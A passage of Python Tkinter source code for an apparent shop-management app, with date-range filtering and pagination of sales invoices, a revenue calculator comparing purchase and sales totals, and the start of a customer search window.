31):\r\n\t\t\t\t\tcheck_date2 = False\r\n\t\t\t\t\tflag2 = False\r\n\t\t\t\telif m1420 == 2 and d1420 not in range(1, 30):\r\n\t\t\t\t\tcheck_date2 = False\r\n\t\t\t\t\tflag2 = False\r\n\t\r\n\tif check_date2:\r\n\t\ticon_date142.configure(image = icon_true14)\r\n\telse:\r\n\t\ticon_date142.configure(image = icon_false14)\r\n\r\n\t# Check range\r\n\tcheck_range = flag1 and flag2\r\n\tif check_range:\r\n\t\tif m1410 > m1420:\r\n\t\t\tcheck_range = False\r\n\t\telif m1410 == m1420 and d1410 > d1420:\r\n\t\t\tcheck_range = False\r\n\r\n\tif (day1410 == \"\" and month1410 == \"\") and flag2:\r\n\t\tcheck_range = True\r\n\telif (day1420 == \"\" and month1420 == \"\") and flag1:\r\n\t\tcheck_range = True\r\n\telif (day1410 == \"\" and month1410 == \"\") and (day1420 == \"\" and month1420 == \"\"):\r\n\t\tcheck_range = True\r\n\t\t\t\r\n\tif check_range:\r\n\t\ticon_range14.configure(image = icon_true14)\r\n\telse:\r\n\t\ticon_range14.configure(image = icon_false14)\r\n\r\n\t# All check are true\t\r\n\tif check_date1 and check_date2 and check_range:\r\n\t\tfile = open(\"hoadon_ban.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; date141 = []; day141 = []; month141 = []; orderid141 = []; cusid141 = []; prodid141 = []; quantity141 = []; price141 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tdate141.append(sub[0].replace(\".\", \" \", 10))\r\n\t\t\tsub2 = date141[i].split()\r\n\t\t\tday141.append(sub2[0])\r\n\t\t\tmonth141.append(sub2[1])\r\n\t\t\torderid141.append(sub[1])\r\n\t\t\tcusid141.append(sub[2])\r\n\t\t\tprodid141.append(sub[3])\r\n\t\t\tquantity141.append(sub[4])\r\n\t\t\tprice141.append(sub[5])\r\n\r\n\t\tdate2 = []; day2 = []; month2 = []; orderid2 = []; cusid2 = []; prodid2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tif flag1 and (day1420 == \"\" and month1420 == \"\"):\r\n\t\t\tfor i in range(0, len(date141)):\r\n\t\t\t\tif (int(month141[i]) > m1410) or (int(month141[i]) == m1410 and int(day141[i]) >= d1410):\r\n\t\t\t\t\tdate2.append(date141[i])\r\n\t\t\t\t\tday2.append(day141[i])\r\n\t\t\t\t\tmonth2.append(month141[i])\r\n\t\t\t\t\torderid2.append(orderid141[i])\r\n\t\t\t\t\tcusid2.append(cusid141[i])\r\n\t\t\t\t\tprodid2.append(prodid141[i])\r\n\t\t\t\t\tquantity2.append(quantity141[i])\r\n\t\t\t\t\tprice2.append(price141[i])\r\n\t\t\tdate141 = date2; day141 = day2; month141 = month2; orderid141 = orderid2; cusid141 = cusid2; prodid141 = prodid2; quantity141 = quantity2; price141 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; orderid2 = []; cusid2 = []; prodid2 = []; quantity2 = []; price2 = []\r\n\t\t\r\n\t\telif (day1410 == \"\" and month1410 == \"\") and flag2:\r\n\t\t\tfor i in range(0, len(date141)):\r\n\t\t\t\tif (int(month141[i]) < m1420) or (int(month141[i]) == m1420 and int(day141[i]) <= d1420):\r\n\t\t\t\t\tdate2.append(date141[i])\r\n\t\t\t\t\tday2.append(day141[i])\r\n\t\t\t\t\tmonth2.append(month141[i])\r\n\t\t\t\t\torderid2.append(orderid141[i])\r\n\t\t\t\t\tcusid2.append(cusid141[i])\r\n\t\t\t\t\tprodid2.append(prodid141[i])\r\n\t\t\t\t\tquantity2.append(quantity141[i])\r\n\t\t\t\t\tprice2.append(price141[i])\r\n\t\t\tdate141 = date2; day141 = day2; month141 = month2; orderid141 = orderid2; cusid141 = cusid2; prodid141 = prodid2; quantity141 = quantity2; price141 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; orderid2 = []; cusid2 = []; prodid2 = []; quantity2 = []; price2 = []\r\n\r\n\t\telif flag1 and flag2:\r\n\t\t\tfor i in range(0, len(date141)):\r\n\t\t\t\tif (m1410 < int(month141[i]) < m1420) or (m1410 == int(month141[i]) < m1420 and int(day141[i]) >= d1410) or (m1410 < int(month141[i]) == m1420 and int(day141[i]) <= d1420) or (m1410 == int(month141[i]) == m1420 and d1410 <= int(day141[i]) <= d1420):\r\n\t\t\t\t\tdate2.append(date141[i])\r\n\t\t\t\t\tday2.append(day141[i])\r\n\t\t\t\t\tmonth2.append(month141[i])\r\n\t\t\t\t\torderid2.append(orderid141[i])\r\n\t\t\t\t\tcusid2.append(cusid141[i])\r\n\t\t\t\t\tprodid2.append(prodid141[i])\r\n\t\t\t\t\tquantity2.append(quantity141[i])\r\n\t\t\t\t\tprice2.append(price141[i])\r\n\t\t\tdate141 = date2; day141 = day2; month141 = month2; orderid141 = orderid2; cusid141 = cusid2; prodid141 = prodid2; quantity141 = quantity2; price141 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; orderid2 = []; cusid2 = []; prodid2 = []; quantity2 = []; price2 = []\r\n\r\n\t\t# Sort\r\n\t\tfor i in range(0, len(day141)):\r\n\t\t\tdate141[i] = date141[i].replace(\" \", \"/\", 10)\r\n\r\n\t\t# Show\r\n\t\tnumOfresults14 = len(day141)\r\n\t\tif (numOfresults14 == 0) or (numOfresults14 == 1):\r\n\t\t\ttext_results14.configure(text = \"%d result found\" %numOfresults14)\r\n\t\telse:\r\n\t\t\ttext_results14.configure(text = \"%d results found\" %numOfresults14)\r\n\r\n\t\tif numOfresults14 != 0:\r\n\t\t\tnumOfpages14 = ((numOfresults14 - 1) // 10) + 1\r\n\t\t\tbtn_first14.configure(text = \"1\", command = first14)\r\n\t\t\tbtn_prev14.configure(text = \"<\", command = prev14)\r\n\t\t\tbtn_next14.configure(text = \">\", command = next14)\r\n\t\t\tbtn_end14.configure(text = \"End\", command = end14)\r\n\t\t\tpage14 = 1\r\n\t\t\tshowResults14(page14)\r\n\telse:\r\n\t\ttext_results14.configure(text = \"\")\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults14[i].configure(text = \"\")\r\n\t\t\tresults14_date[i].configure(text = \"\")\r\n\t\t\tresults14_orderid[i].configure(text = \"\")\r\n\t\t\tresults14_cusid[i].configure(text = \"\")\r\n\t\t\tresults14_prodid[i].configure(text = \"\")\r\n\t\t\tresults14_quantity[i].configure(text = \"\")\r\n\t\t\tresults14_price[i].configure(text = \"\")\r\n\r\n\t\tbtn_first14.configure(text = \"\", command = donothing)\r\n\t\tbtn_prev14.configure(text = \"\", command = donothing)\r\n\t\tbtn_next14.configure(text = \"\", command = donothing)\r\n\t\tbtn_end14.configure(text = \"\", command = donothing)\r\n\t\ticon_page14.configure(text = \"\", relief = FLAT)\r\n\r\ndef showResults14(index):\r\n\ticon_page14.configure(text = index, relief = GROOVE)\r\n\tif index == numOfpages14:\r\n\t\tfor i in range(1, numOfresults14 - 10*(numOfpages14 - 1) + 1):\r\n\t\t\tresults14[i].configure(text = 10*(numOfpages14 - 1) + i)\r\n\t\t\tresults14_date[i].configure(text = date141[10*(numOfpages14 - 1) + i - 1])\r\n\t\t\tresults14_orderid[i].configure(text = orderid141[10*(numOfpages14 - 1) + i - 1])\r\n\t\t\tresults14_cusid[i].configure(text = cusid141[10*(numOfpages14 - 1) + i - 1])\r\n\t\t\tresults14_prodid[i].configure(text = prodid141[10*(numOfpages14 - 1) + i - 1])\r\n\t\t\tresults14_quantity[i].configure(text = quantity141[10*(numOfpages14 - 1) + i - 1])\r\n\t\t\tresults14_price[i].configure(text = price141[10*(numOfpages14 - 1) + i - 1])\r\n\t\tif (numOfresults14 % 10) != 0:\r\n\t\t\tfor i in range((numOfresults14 % 10) + 1, 11):\r\n\t\t\t\tresults14[i].configure(text = \"\")\r\n\t\t\t\tresults14_date[i].configure(text = \"\")\r\n\t\t\t\tresults14_orderid[i].configure(text = \"\")\r\n\t\t\t\tresults14_cusid[i].configure(text = \"\")\r\n\t\t\t\tresults14_prodid[i].configure(text = \"\")\r\n\t\t\t\tresults14_quantity[i].configure(text = \"\")\r\n\t\t\t\tresults14_price[i].configure(text = \"\")\r\n\telse:\r\n\t\tfor j in range(1, 11):\r\n\t\t\tresults14[j].configure(text = 10*(index - 1) + j)\r\n\t\t\tresults14_date[j].configure(text = date141[10*(index - 1) + j - 1])\r\n\t\t\tresults14_orderid[j].configure(text = orderid141[10*(index - 1) + j - 1])\r\n\t\t\tresults14_cusid[j].configure(text = cusid141[10*(index - 1) + j - 1])\r\n\t\t\tresults14_prodid[j].configure(text = prodid141[10*(index - 1) + j - 1])\r\n\t\t\tresults14_quantity[j].configure(text = quantity141[10*(index - 1) + j - 1])\r\n\t\t\tresults14_price[j].configure(text = price141[10*(index - 1) + j - 1])\r\n\r\n# Buttons for showing results\r\ndef first14():\r\n\tglobal page14\r\n\tpage14 = 1\r\n\tshowResults14(page14)\r\n\r\ndef prev14():\r\n\tglobal page14\r\n\tif page14 != 1:\r\n\t\tpage14 -= 1\r\n\t\tshowResults14(page14)\r\n\r\ndef next14():\r\n\tglobal page14\r\n\tif page14 != numOfpages14:\r\n\t\tpage14 += 1\r\n\t\tshowResults14(page14)\r\n\r\ndef end14():\r\n\tglobal page14\r\n\tpage14 = numOfpages14\r\n\tshowResults14(page14)\r\n\r\n# Revenue\r\ndef revenue1():\r\n\tglobal scr15\r\n\tglobal fr151\r\n\tglobal fr152\r\n\tglobal day1_entry15\r\n\tglobal month1_entry15\r\n\tglobal day2_entry15\r\n\tglobal month2_entry15\r\n\tglobal rs15\r\n\tglobal results15_expenditure\r\n\tglobal results15_sale\r\n\tglobal results15_revenue\r\n\tglobal icon_date151\r\n\tglobal icon_date152\r\n\tglobal icon_range15\r\n\tglobal icon_true15\r\n\tglobal icon_false15\r\n\tglobal icon_laugh15\r\n\tglobal icon_cry15\r\n\tglobal icon_laughcry15\r\n\tglobal icon_emotion15\r\n\tglobal icon_bg15\r\n\tglobal icon_emobg15\r\n\tglobal back15\r\n\r\n\tscr013.withdraw()\r\n\tscr15 = Toplevel(scr013)\r\n\tx0 = scr013.winfo_x()\r\n\ty0 = scr013.winfo_y()\r\n\tscr15.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr15.title(\"Revenue\")\r\n\tscr15.resizable(width = False, height = False)\r\n\tscr15.protocol(\"WM_DELETE_WINDOW\", close)\r\n\tlogo(scr15, 12)\r\n\t\r\n\t## Info\r\n\tfr = Frame(scr15)\r\n\tfr151 = Frame(fr)\r\n\t\r\n\t# SELL\r\n\tLabel(fr151, text = \"REVENUE\", font = (\"Tahoma\", 20)).grid(row = 0, column = 1, columnspan = 3, sticky = W, padx = 10)\r\n\tLabel(fr151).grid(row = 1)\r\n\r\n\t# Date\r\n\tLabel(fr151, text = \"Date\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, sticky = W, padx = 30)\r\n\tday1 = StringVar()\r\n\tday1_entry15 = Entry(fr151, textvariable = day1, width = 3, font = 30)\r\n\tday1_entry15.grid(row = 2, column = 1, sticky = W)\r\n\r\n\tLabel(fr151, text = \"/\", font = (\"Tahoma\", 20)).grid(row = 2, column = 2, sticky = W)\r\n\t\r\n\tmonth1 = StringVar()\r\n\tmonth1_entry15 = Entry(fr151, textvariable = month1, width = 3, font = 30)\r\n\tmonth1_entry15.grid(row = 2, column = 3)\r\n\r\n\tLabel(fr151, text = \"to\", font = (\"Tahoma\", 20)).grid(row = 3, column = 2, sticky = W)\r\n\tday2 = StringVar()\r\n\tday2_entry15 = Entry(fr151, textvariable = day2, width = 3, font = 30)\r\n\tday2_entry15.grid(row = 4, column = 1, sticky = W)\r\n\r\n\tLabel(fr151, text = \"/\", font = (\"Tahoma\", 20)).grid(row = 4, column = 2, sticky = W)\r\n\t\r\n\tmonth2 = StringVar()\r\n\tmonth2_entry15 = Entry(fr151, textvariable = month2, width = 3, font = 30)\r\n\tmonth2_entry15.grid(row = 4, column = 3)\r\n\r\n\t# Reset\r\n\tLabel(fr151).grid(row = 5)\r\n\trs15 = PhotoImage(file = \"reset.png\")\r\n\tButton(fr151, image = rs15, relief = FLAT, command = reset15).grid(row = 6, column = 1, sticky = W)\r\n\t# scr15.bind(\"r\", reset14)\r\n\t\r\n\t# CALCULATION\r\n\tButton(fr151, text = \"CALC\", font = (\"Tahoma\", 16), command = calc15).grid(row = 6, column = 2, columnspan = 2, sticky = E)\r\n\tscr15.bind(\"<Return>\", search14)\r\n\t# Label(fr151).grid(row = 10)\r\n\r\n\t# Back to login\r\n\tback15 = PhotoImage(file = \"left.png\")\r\n\tLabel(fr151).grid(row = 8)\r\n\tLabel(fr151).grid(row = 9)\r\n\tLabel(fr151).grid(row = 10)\r\n\tLabel(fr151).grid(row = 11)\r\n\tButton(fr151, image = back15, relief = FLAT, command = rev2trans15).grid(row = 12, column = 0, pady = 30)\r\n\r\n\t# Check icons\r\n\ticon_true15 = PhotoImage(file = \"true.png\")\r\n\ticon_false15 = PhotoImage(file = \"false.png\")\r\n\ticon_bg15 =  PhotoImage(file = \"bg.png\")\r\n\r\n\ticon_date151 = Label(fr151, image = icon_bg15)\r\n\ticon_date151.grid(row = 2, column = 6, padx = 20)\r\n\ticon_date152 = Label(fr151, image = icon_bg15)\r\n\ticon_date152.grid(row = 4, column = 6, padx = 20)\r\n\ticon_range15 = Label(fr151, image = icon_bg15)\r\n\ticon_range15.grid(row = 3, column = 6, padx = 20)\r\n\r\n\t## Results\r\n\tfr152 = Frame(fr)\r\n\tLabel(fr152).grid(row = 0)\r\n\tLabel(fr152).grid(row = 1)\r\n\tLabel(fr152, text = \"Total expenditure\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, columnspan = 3, padx = 20, pady = 10, sticky = W)\r\n\tLabel(fr152).grid(row = 3)\r\n\tresults15_expenditure = Label(fr152, font = (\"Arial\", 30))\r\n\tresults15_expenditure.grid(row = 2, column = 3, columnspan = 3, padx = 20, pady = 10, sticky = W)\r\n\r\n\tLabel(fr152, text = \"Total sale\", font = (\"Tahoma\", 20)).grid(row = 4, column = 0, columnspan = 3, padx = 20, pady = 10, sticky = W)\r\n\tLabel(fr152).grid(row = 5)\r\n\tresults15_sale = Label(fr152, font = (\"Arial\", 30))\r\n\tresults15_sale.grid(row = 4, column = 3, columnspan = 3, padx = 20, pady = 10, sticky = W)\r\n\r\n\tLabel(fr152, text = \"Revenue\", font = (\"Tahoma\", 20)).grid(row = 6, column = 0, columnspan = 3, padx = 20, pady = 10, sticky = W)\r\n\tLabel(fr152).grid(row = 7)\r\n\tresults15_revenue = Label(fr152, font = (\"Arial\", 40), fg = \"red\")\r\n\tresults15_revenue.grid(row = 6, column = 3, columnspan = 3, padx = 20, pady = 10, sticky = W)\r\n\r\n\t# Emotion\r\n\ticon_laugh15 = PhotoImage(file = \"laugh.png\")\r\n\ticon_cry15 = PhotoImage(file = \"cry.png\")\r\n\ticon_laughcry15 = PhotoImage(file = \"laughcry.png\")\r\n\ticon_emobg15 = PhotoImage(file = \"emo_bg.png\")\r\n\r\n\ticon_emotion15 = Label(fr152, image = icon_emobg15)\r\n\ticon_emotion15.grid(row = 8, column = 3)\r\n\r\n\tfr151.grid(row = 0, rowspan = 100, column = 0, columnspan = 5)\r\n\tfr152.grid(row = 0, rowspan = 100, column = 5, columnspan = 5, sticky = \"nw\")\r\n\tfr.grid(row = 1)\r\n\r\ndef rev2trans15():\r\n\tx0 = scr15.winfo_x()\r\n\ty0 = scr15.winfo_y()\r\n\tscr15.destroy()\r\n\tscr013.deiconify()\r\n\tscr013.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef reset15():\r\n\tday1_entry15.delete(0, END)\r\n\tmonth1_entry15.delete(0, END)\r\n\tday2_entry15.delete(0, END)\r\n\tmonth2_entry15.delete(0, END)\r\n\ticon_date151.configure(image = icon_bg15)\r\n\ticon_date152.configure(image = icon_bg15)\r\n\ticon_range15.configure(image = icon_bg15)\r\n\ticon_emotion15.configure(image = icon_emobg15)\r\n\tresults15_expenditure.configure(text = \"\")\r\n\tresults15_sale.configure(text = \"\")\r\n\tresults15_revenue.configure(text = \"\", relief = FLAT)\r\n\r\ndef calc15():\r\n\tday1510 = day1_entry15.get()\r\n\tmonth1510 = month1_entry15.get()\r\n\tday1520 = day2_entry15.get()\r\n\tmonth1520 = month2_entry15.get()\r\n\r\n\t# Check date1\r\n\tcheck_date1 = True\r\n\tflag1 = False\r\n\tif (day1510 == \"\" and month1510 != \"\") or (day1510 != \"\" and month1510 == \"\"):\r\n\t\tcheck_date1 = False\r\n\telif (day1510 != \"\" and month1510 != \"\"):\r\n\t\tif (day1510.isdigit() == False or month1510.isdigit() == False):\r\n\t\t\tcheck_date1 = False\r\n\t\telse:\r\n\t\t\td1510 = int(day1510)\r\n\t\t\tm1510 = int(month1510)\r\n\t\t\tflag1 = True\r\n\t\t\tif m1510 not in range(1, 13):\r\n\t\t\t\tcheck_date1 = False\r\n\t\t\t\tflag1 = False\r\n\t\t\telse:\r\n\t\t\t\tif m1510 in [1, 3, 5, 7, 8, 10, 12] and d1510 not in range(1, 32):\r\n\t\t\t\t\tcheck_date1 = False\r\n\t\t\t\t\tflag1 = False\r\n\t\t\t\telif m1510 in [4, 6, 9, 11] and d1510 not in range(1, 31):\r\n\t\t\t\t\tcheck_date1 = False\r\n\t\t\t\t\tflag1 = False\r\n\t\t\t\telif m1510 == 2 and d1510 not in range(1, 30):\r\n\t\t\t\t\tcheck_date1 = False\r\n\t\t\t\t\tflag1 = False\r\n\t\r\n\tif check_date1:\r\n\t\ticon_date151.configure(image = icon_true15)\r\n\telse:\r\n\t\ticon_date151.configure(image = icon_false15)\r\n\r\n\t# Check date2\r\n\tcheck_date2 = True\r\n\tflag2 = False\r\n\tif (day1520 == \"\" and month1520 != \"\") or (day1520 != \"\" and month1520 == \"\"):\r\n\t\tcheck_date2 = False\r\n\telif (day1520 != \"\" and month1520 != \"\"):\r\n\t\tif (day1520.isdigit() == False or month1520.isdigit() == False):\r\n\t\t\tcheck_date2 = False\r\n\t\telse:\r\n\t\t\td1520 = int(day1520)\r\n\t\t\tm1520 = int(month1520)\r\n\t\t\tflag2 = True\r\n\t\t\tif m1520 not in range(1, 13):\r\n\t\t\t\tcheck_date2 = False\r\n\t\t\t\tflag2 = False\r\n\t\t\telse:\r\n\t\t\t\tif m1520 in [1, 3, 5, 7, 8, 10, 12] and d1520 not in range(1, 32):\r\n\t\t\t\t\tcheck_date2 = False\r\n\t\t\t\t\tflag2 = False\r\n\t\t\t\telif m1520 in [4, 6, 9, 11] and d1520 not in range(1, 31):\r\n\t\t\t\t\tcheck_date2 = False\r\n\t\t\t\t\tflag2 = False\r\n\t\t\t\telif m1520 == 2 and d1520 not in range(1, 30):\r\n\t\t\t\t\tcheck_date2 = False\r\n\t\t\t\t\tflag2 = False\r\n\t\r\n\tif check_date2:\r\n\t\ticon_date152.configure(image = icon_true15)\r\n\telse:\r\n\t\ticon_date152.configure(image = icon_false15)\r\n\r\n\t# Check range\r\n\tcheck_range = flag1 and flag2\r\n\tif check_range:\r\n\t\tif m1510 > m1520:\r\n\t\t\tcheck_range = False\r\n\t\telif m1510 == m1520 and d1510 > d1520:\r\n\t\t\tcheck_range = False\r\n\r\n\tif (day1510 == \"\" and month1510 == \"\") and flag2:\r\n\t\tcheck_range = True\r\n\telif (day1520 == \"\" and month1520 == \"\") and flag1:\r\n\t\tcheck_range = True\r\n\telif (day1510 == \"\" and month1510 == \"\") and (day1520 == \"\" and month1520 == \"\"):\r\n\t\tcheck_range = True\r\n\t\t\t\r\n\tif check_range:\r\n\t\ticon_range15.configure(image = icon_true15)\r\n\telse:\r\n\t\ticon_range15.configure(image = icon_false15)\r\n\r\n\t# All check are true\t\r\n\tif check_date1 and check_date2 and check_range:\r\n\t\t# From hoadonmua\r\n\t\tfile = open(\"hoadon_mua.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; date151 = []; day151 = []; month151 = []; quantity151 = []; price151 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tdate151.append(sub[0].replace(\".\", \" \", 10))\r\n\t\t\tsub2 = date151[i].split()\r\n\t\t\tday151.append(sub2[0])\r\n\t\t\tmonth151.append(sub2[1])\r\n\t\t\tquantity151.append(sub[4])\r\n\t\t\tprice151.append(sub[5])\r\n\r\n\t\tdate2 = []; day2 = []; month2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tif flag1 and (day1520 == \"\" and month1520 == \"\"):\r\n\t\t\tfor i in range(0, len(date151)):\r\n\t\t\t\tif (int(month151[i]) > m1510) or (int(month151[i]) == m1510 and int(day151[i]) >= d1510):\r\n\t\t\t\t\tdate2.append(date151[i])\r\n\t\t\t\t\tday2.append(day151[i])\r\n\t\t\t\t\tmonth2.append(month151[i])\r\n\t\t\t\t\tquantity2.append(quantity151[i])\r\n\t\t\t\t\tprice2.append(price151[i])\r\n\t\t\tdate151 = date2; day151 = day2; month151 = month2; quantity151 = quantity2; price151 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; quantity2 = []; price2 = []\r\n\t\t\r\n\t\telif (day1510 == \"\" and month1510 == \"\") and flag2:\r\n\t\t\tfor i in range(0, len(date151)):\r\n\t\t\t\tif (int(month151[i]) < m1520) or (int(month151[i]) == m1520 and int(day151[i]) <= d1520):\r\n\t\t\t\t\tdate2.append(date151[i])\r\n\t\t\t\t\tday2.append(day151[i])\r\n\t\t\t\t\tmonth2.append(month151[i])\r\n\t\t\t\t\tquantity2.append(quantity151[i])\r\n\t\t\t\t\tprice2.append(price151[i])\r\n\t\t\tdate151 = date2; day151 = day2; month151 = month2; quantity151 = quantity2; price151 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; quantity2 = []; price2 = []\r\n\r\n\t\telif flag1 and flag2:\r\n\t\t\tfor i in range(0, len(date151)):\r\n\t\t\t\tif (m1510 < int(month151[i]) < m1520) or (m1510 == int(month151[i]) < m1520 and int(day151[i]) >= d1510) or (m1510 < int(month151[i]) == m1520 and int(day151[i]) <= d1520) or (m1510 == int(month151[i]) == m1520 and d1510 <= int(day151[i]) <= d1520):\r\n\t\t\t\t\tdate2.append(date151[i])\r\n\t\t\t\t\tday2.append(day151[i])\r\n\t\t\t\t\tmonth2.append(month151[i])\r\n\t\t\t\t\tquantity2.append(quantity151[i])\r\n\t\t\t\t\tprice2.append(price151[i])\r\n\t\t\tdate151 = date2; day151 = day2; month151 = month2; quantity151 = quantity2; price151 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; quantity2 = []; price2 = []\r\n\r\n\t\texpenditure = 0\r\n\t\tfor i in range(0, len(day151)):\r\n\t\t\texpenditure += int(quantity151[i])*int(price151[i])\r\n\t\tresults15_expenditure.configure(text = expenditure)\r\n\r\n\t\t# From hoadonban\r\n\t\tfile = open(\"hoadon_ban.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; date151 = []; day151 = []; month151 = []; quantity151 = []; price151 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tdate151.append(sub[0].replace(\".\", \" \", 10))\r\n\t\t\tsub2 = date151[i].split()\r\n\t\t\tday151.append(sub2[0])\r\n\t\t\tmonth151.append(sub2[1])\r\n\t\t\tquantity151.append(sub[4])\r\n\t\t\tprice151.append(sub[5])\r\n\r\n\t\tdate2 = []; day2 = []; month2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tif flag1 and (day1520 == \"\" and month1520 == \"\"):\r\n\t\t\tfor i in range(0, len(date151)):\r\n\t\t\t\tif (int(month151[i]) > m1510) or (int(month151[i]) == m1510 and int(day151[i]) >= d1510):\r\n\t\t\t\t\tdate2.append(date151[i])\r\n\t\t\t\t\tday2.append(day151[i])\r\n\t\t\t\t\tmonth2.append(month151[i])\r\n\t\t\t\t\tquantity2.append(quantity151[i])\r\n\t\t\t\t\tprice2.append(price151[i])\r\n\t\t\tdate151 = date2; day151 = day2; month151 = month2; quantity151 = quantity2; price151 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; quantity2 = []; price2 = []\r\n\t\t\r\n\t\telif (day1510 == \"\" and month1510 == \"\") and flag2:\r\n\t\t\tfor i in range(0, len(date151)):\r\n\t\t\t\tif (int(month151[i]) < m1520) or (int(month151[i]) == m1520 and int(day151[i]) <= d1520):\r\n\t\t\t\t\tdate2.append(date151[i])\r\n\t\t\t\t\tday2.append(day151[i])\r\n\t\t\t\t\tmonth2.append(month151[i])\r\n\t\t\t\t\tquantity2.append(quantity151[i])\r\n\t\t\t\t\tprice2.append(price151[i])\r\n\t\t\tdate151 = date2; day151 = day2; month151 = month2; quantity151 = quantity2; price151 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; quantity2 = []; price2 = []\r\n\r\n\t\telif flag1 and flag2:\r\n\t\t\tfor i in range(0, len(date151)):\r\n\t\t\t\tif (m1510 < int(month151[i]) < m1520) or (m1510 == int(month151[i]) < m1520 and int(day151[i]) >= d1510) or (m1510 < int(month151[i]) == m1520 and int(day151[i]) <= d1520) or (m1510 == int(month151[i]) == m1520 and d1510 <= int(day151[i]) <= d1520):\r\n\t\t\t\t\tdate2.append(date151[i])\r\n\t\t\t\t\tday2.append(day151[i])\r\n\t\t\t\t\tmonth2.append(month151[i])\r\n\t\t\t\t\tquantity2.append(quantity151[i])\r\n\t\t\t\t\tprice2.append(price151[i])\r\n\t\t\tdate151 = date2; day151 = day2; month151 = month2; quantity151 = quantity2; price151 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tsale = 0\r\n\t\tfor i in range(0, len(day151)):\r\n\t\t\tsale += int(quantity151[i])*int(price151[i])\r\n\t\tresults15_sale.configure(text = sale)\r\n\r\n\t\t# Revenue\r\n\t\trevenue = sale - expenditure\r\n\t\tresults15_revenue.configure(text = revenue, relief = GROOVE)\r\n\t\tif revenue > 0:\r\n\t\t\ticon_emotion15.configure(image = icon_laugh15)\r\n\t\telif revenue == 0:\r\n\t\t\ticon_emotion15.configure(image = icon_laughcry15)\r\n\t\telif revenue < 0:\r\n\t\t\ticon_emotion15.configure(image = icon_cry15)\r\n\telse:\r\n\t\tresults15_expenditure.configure(text = \"\")\r\n\t\tresults15_sale.configure(text = \"\")\r\n\t\tresults15_revenue.configure(text = \"\", relief = FLAT)\r\n\t\ticon_emotion15.configure(image = icon_emobg15)\r\n\r\n###---------------------###\r\n###-------EMPLOYEE----------###\r\n###---------------------###\r\n\r\n## CUSTOMER ##\r\ndef customer2(*arg):\r\n\tglobal scr21\r\n\tglobal fr211\r\n\tglobal fr212\r\n\tglobal name_entry21\r\n\tglobal phone_entry21\r\n\tglobal agemin_entry21\r\n\tglobal agemax_entry21\r\n\tglobal gender21\r\n\tglobal rs21\r\n\tglobal icon_name21\r\n\tglobal icon_phone21\r\n\tglobal icon_age21\r\n\tglobal icon_gender21\r\n\tglobal icon_true21\r\n\tglobal icon_false21\r\n\tglobal icon_notexist212\r\n\tglobal icon_bg21\r\n\tglobal results21\r\n\tglobal results21_name\r\n\tglobal results21_phone\r\n\tglobal results21_age\r\n\tglobal results21_gender\r\n\tglobal results21_price\r\n\tglobal btn_first21\r\n\tglobal btn_prev21\r\n\tglobal btn_next21\r\n\tglobal btn_end21\r\n\tglobal text_results21\r\n\tglobal back21\r\n\tglobal icon_page21\r\n\r\n\tscr02.withdraw()\r\n\tscr21 = Toplevel(scr02)\r\n\tx0 = scr02.winfo_x()\r\n\ty0 = scr02.winfo_y()\r\n\tscr21.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr21.title(\"Customer\")\r\n\tscr21.resizable(width = False, height = False)\r\n\tscr21.protocol(\"WM_DELETE_WINDOW\", close)\r\n\tlogo(scr21, 12)\r\n\t\r\n\t## Info\r\n\tfr = Frame(scr21)\r\n\tfr211 = Frame(fr)\r\n\t# Name\r\n\tLabel(fr211, text = \"Name\", font = (\"Tahoma\", 20)).grid(row = 0, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr211).grid(row = 1)\r\n\tname21 = StringVar()\r\n\tname_entry21 = Entry(fr211, textvariable = name21, width = 20, font = 30)\r\n\tname_entry21.grid(row = 0, column = 1, columnspan = 3, sticky = W)\r\n\t\r\n\t# Phone\r\n\tLabel(fr211, text = \"Phone\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr211).grid(row = 3)\r\n\tphone21 = StringVar()\r\n\tphone_entry21 = Entry(fr211, textvariable = phone21, width = 20, font = 30)\r\n\tphone_entry21.grid(row = 2, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Age\r\n\tLabel(fr211, text = \"Age\", font = (\"Tahoma\", 20)).grid(row = 4, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr211).grid(row = 5)\r\n\tagemin21 = StringVar()\r\n\tagemin_entry21 = Entry(fr211, textvariable = agemin21, width = 5, font = 30)\r\n\tagemin_entry21.grid(row = 4, column = 1, sticky = W)\r\n\r\n\tLabel(fr211, text = \"-\", font = (\"Tahoma\", 20)).grid(row = 4, column = 2)\r\n\t\r\n\tagemax21 = StringVar()\r\n\tagemax_entry21 = Entry(fr211, 